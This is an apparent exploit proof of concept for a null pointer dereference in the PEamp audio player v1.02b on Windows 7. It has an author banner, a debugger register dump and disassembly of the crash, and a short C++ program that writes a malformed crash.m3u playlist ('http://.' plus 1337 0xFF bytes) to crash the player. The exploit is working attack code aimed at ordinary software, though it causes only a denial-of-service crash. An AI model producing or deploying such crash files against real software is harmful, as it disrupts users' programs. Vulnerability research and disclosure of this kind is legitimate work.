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/*Title: PEamp Null Pointer Dereference PoC
Author: Ayrbyte
Link: http:www.softpedia.com/get/Multimedia/Audio/Audio-Players/mp3player.shtml
Versi: v1.02b
Tested on: Windows 7
Fb: facebook.com/Ayrbyte
Greetz To : all CREMY Family, and for all indonesian indonesian h4x0r
?? %% %% $$$$$ >> > :: ;;;;;;;;
?? ? %% %% $$ $$ || >> > :: ;; ;;
????? %%%% $$$$$ ||___ >>> ::::: ;;;;;;;
?? ?? %% $$$$ || || > :: ;;
%%%%%%%% $$ $$ ||__|| >>>>> ::::: ;;;;;;;;
______________>>Ayrbyte<<_______________
Gamerz From CREMY | CRazy Experience arMY
[register]
eax=ffffffff ebx=76b0cc62 ecx=199dee10 edx=00000000 esi=03342d28 edi=0040141b
eip=750b736d esp=0012ed34 ebp=0012ed5c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
[diasembly]
KERNELBASE!lstrlen:
750b7353 6a08 push 8
750b7355 6890730b75 push offset KERNELBASE!lstrlen+0x3d (750b7390)
750b735a e841a3ffff call KERNELBASE!ReleaseMutex+0x3f (750b16a0)
750b735f 8b4508 mov eax,dword ptr [ebp+8]
750b7362 85c0 test eax,eax
750b7364 741f je KERNELBASE!lstrlen+0x32 (750b7385)
750b7366 8365fc00 and dword ptr [ebp-4],0
750b736a 8d5001 lea edx,[eax+1]
750b736d 8a08 mov cl,byte ptr [eax] ds:0023:ffffffff=?? <--NullPointer
750b736f 40 inc eax
750b7370 84c9 test cl,cl
750b7372 75f9 jne KERNELBASE!lstrlen+0x1a (750b736d)
750b7374 2bc2 sub eax,edx
750b7376 c745fcfeffffff mov dword ptr [ebp-4],0FFFFFFFEh
750b737d e86ea4ffff call KERNELBASE!WaitForSingleObjectEx+0xc0 (750b17f0)
750b7382 c20400 ret 4
750b7385 33c0 xor eax,eax
750b7387 ebf4 jmp KERNELBASE!lstrlen+0x2a (750b737d)
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\system32\KERNELBASE.dll -
KERNELBASE!lstrlen+0x1a:
eax overwrite with ffffffff, in offset 750b736d, (mov cl,byte ptr [eax]) ds:0023:ffffffff=?? <--Null Pointer Dereference
*/
//Poc :
#include <iostream>
using namespace std;
//WARNING: for first load crash.m3u after that klik "add" or "load" or "save"
//it will make program be crash
char _isi[] = "http://.";
char _A[] = "\xFF";
int main(){
FILE *_file;
#define _namefile "crash.m3u"
_file = fopen(_namefile, "w");
fputs(_isi, _file);
for(int i=0;i<1337;i++){fputs(_A, _file);}
fclose(_file);
return 0;
}
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